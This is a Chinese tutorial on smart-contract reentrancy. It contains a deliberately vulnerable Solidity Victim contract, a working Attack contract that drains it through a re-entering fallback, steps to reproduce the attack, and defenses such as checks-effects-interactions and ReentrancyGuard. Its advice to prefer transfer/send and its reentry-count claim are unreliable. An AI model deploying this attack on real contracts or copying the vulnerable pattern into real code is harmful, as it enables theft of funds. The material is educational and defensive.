智能合约Re-Entrancy重⼊漏洞分析与复现
字数 1195 2025-08-09 13:33:52

智能合约Re-Entrancy重入漏洞分析与防御指南

1. 重入漏洞原理

重入漏洞(Re-Entrancy)是智能合约中最常见且危险的安全漏洞之一。其核心原理是:

  • 外部恶意合约回调:当受攻击合约执行外部调用时,恶意合约可以在调用过程中通过fallback函数"重新进入"受攻击合约的函数执行流程
  • 执行顺序问题:由于合约状态更新在外部调用之后,攻击者可以在状态更新前多次重入函数
  • Gas限制:在gas足够的情况下,合约之间可以相互循环调用,直至达到gas上限

2. 漏洞代码示例

2.1 易受攻击合约(Victim)

pragma solidity ^0.6.10;

contract Victim {
    mapping(address => uint) public balances;
    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);
        msg.sender.call{value: _amount}("");  // 漏洞点:先转账后更新余额
        balances[msg.sender] -= _amount;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

2.2 攻击合约(Attack)

contract Attack {
    Victim public victim;

    constructor(address _victimAddress) public {
        victim = Victim(_victimAddress);
    }

    fallback() external payable {
        if(address(victim).balance >= 1 ether){
            victim.withdraw(1 ether);  // 重入攻击点
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        victim.deposit{value: 1 ether}();
        victim.withdraw(1 ether);
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

3. 攻击流程分析

  1. 攻击者向Victim合约存入1 ETH
  2. 调用withdraw函数提取1 ETH
  3. Victim合约执行转账操作(msg.sender.call)
  4. 转账触发Attack合约的fallback函数
  5. fallback函数再次调用Victim合约的withdraw函数
  6. 由于Victim合约尚未更新余额,检查仍然通过
  7. 循环执行直到Victim合约余额不足或gas耗尽

4. 关键机制:fallback函数

  • 触发条件:当调用不存在的函数或直接向合约转账时触发
  • 不同调用方式的gas限制
    • send()transfer():限制2300 gas,仅够记录日志
    • call():传递所有剩余gas,允许复杂操作
  • 可重写性:攻击者可以自定义fallback函数实现重入攻击

5. 漏洞复现步骤

5.1 测试环境复现

  1. 部署Victim合约
  2. 部署Attack合约,传入Victim合约地址
  3. 向Victim合约存入至少2 ETH
  4. 调用Attack合约的attack函数
  5. 观察合约余额变化

5.2 实际攻击限制

  • 重入次数:受gas限制,通常约9次左右
  • 失败条件:如果gas耗尽(out of gas),攻击将失败

6. 防御措施

6.1 使用transfer或send代替call

// 安全版本
msg.sender.transfer(_amount);

6.2 遵循Checks-Effects-Interactions模式

function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);  // 检查
    balances[msg.sender] -= _amount;           // 生效(先更新状态)
    msg.sender.call{value: _amount}("");       // 交互(最后执行外部调用)
}

6.3 使用互斥锁(Mutex)

bool reEntrancyMutex = false;

function withdraw(uint _amount) public {
    require(!reEntrancyMutex);
    reEntrancyMutex = true;
    require(balances[msg.sender] >= _amount);
    msg.sender.call{value: _amount}("");
    balances[msg.sender] -= _amount;
    reEntrancyMutex = false;
}

6.4 使用OpenZeppelin的ReentrancyGuard

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;
    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        _status = _ENTERED;
        _;
        _status = _NOT_ENTERED;
    }
}

contract SafeContract is ReentrancyGuard {
    function safeWithdraw() external nonReentrant {
        // 安全函数逻辑
    }
}

6.5 使用Pull Payment模式

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/PullPayment.sol";

contract SafeWithdraw is PullPayment {
    mapping(address => uint) public balances;
    
    function withdraw(uint _amount) external {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] -= _amount;
        _asyncTransfer(msg.sender, _amount);  // 使用异步转账
    }
}

7. 最佳实践总结

  1. 优先使用transfer/send:限制gas可防止复杂重入攻击
  2. 严格遵循检查-生效-交互模式:确保状态更新在外部调用前完成
  3. 考虑使用成熟的安全库:如OpenZeppelin的ReentrancyGuard
  4. 复杂场景使用Pull Payment:让接收方主动提取资金
  5. 全面测试:对所有外部调用函数进行重入攻击测试
  6. 多函数防护:如果使用modifier,确保所有可能破坏不变量的函数都添加防护

通过理解重入漏洞的原理和掌握这些防御措施,开发者可以显著提高智能合约的安全性,避免资金损失风险。

智能合约Re-Entrancy重入漏洞分析与防御指南 1. 重入漏洞原理 重入漏洞(Re-Entrancy)是智能合约中最常见且危险的安全漏洞之一。其核心原理是: 外部恶意合约回调 :当受攻击合约执行外部调用时,恶意合约可以在调用过程中通过fallback函数"重新进入"受攻击合约的函数执行流程 执行顺序问题 :由于合约状态更新在外部调用之后,攻击者可以在状态更新前多次重入函数 Gas限制 :在gas足够的情况下,合约之间可以相互循环调用,直至达到gas上限 2. 漏洞代码示例 2.1 易受攻击合约(Victim) 2.2 攻击合约(Attack) 3. 攻击流程分析 攻击者向Victim合约存入1 ETH 调用withdraw函数提取1 ETH Victim合约执行转账操作(msg.sender.call) 转账触发Attack合约的fallback函数 fallback函数再次调用Victim合约的withdraw函数 由于Victim合约尚未更新余额,检查仍然通过 循环执行直到Victim合约余额不足或gas耗尽 4. 关键机制:fallback函数 触发条件 :当调用不存在的函数或直接向合约转账时触发 不同调用方式的gas限制 : send() 和 transfer() :限制2300 gas,仅够记录日志 call() :传递所有剩余gas,允许复杂操作 可重写性 :攻击者可以自定义fallback函数实现重入攻击 5. 漏洞复现步骤 5.1 测试环境复现 部署Victim合约 部署Attack合约,传入Victim合约地址 向Victim合约存入至少2 ETH 调用Attack合约的attack函数 观察合约余额变化 5.2 实际攻击限制 重入次数 :受gas限制,通常约9次左右 失败条件 :如果gas耗尽(out of gas),攻击将失败 6. 防御措施 6.1 使用transfer或send代替call 6.2 遵循Checks-Effects-Interactions模式 6.3 使用互斥锁(Mutex) 6.4 使用OpenZeppelin的ReentrancyGuard 6.5 使用Pull Payment模式 7. 最佳实践总结 优先使用transfer/send :限制gas可防止复杂重入攻击 严格遵循检查-生效-交互模式 :确保状态更新在外部调用前完成 考虑使用成熟的安全库 :如OpenZeppelin的ReentrancyGuard 复杂场景使用Pull Payment :让接收方主动提取资金 全面测试 :对所有外部调用函数进行重入攻击测试 多函数防护 :如果使用modifier,确保所有可能破坏不变量的函数都添加防护 通过理解重入漏洞的原理和掌握这些防御措施,开发者可以显著提高智能合约的安全性,避免资金损失风险。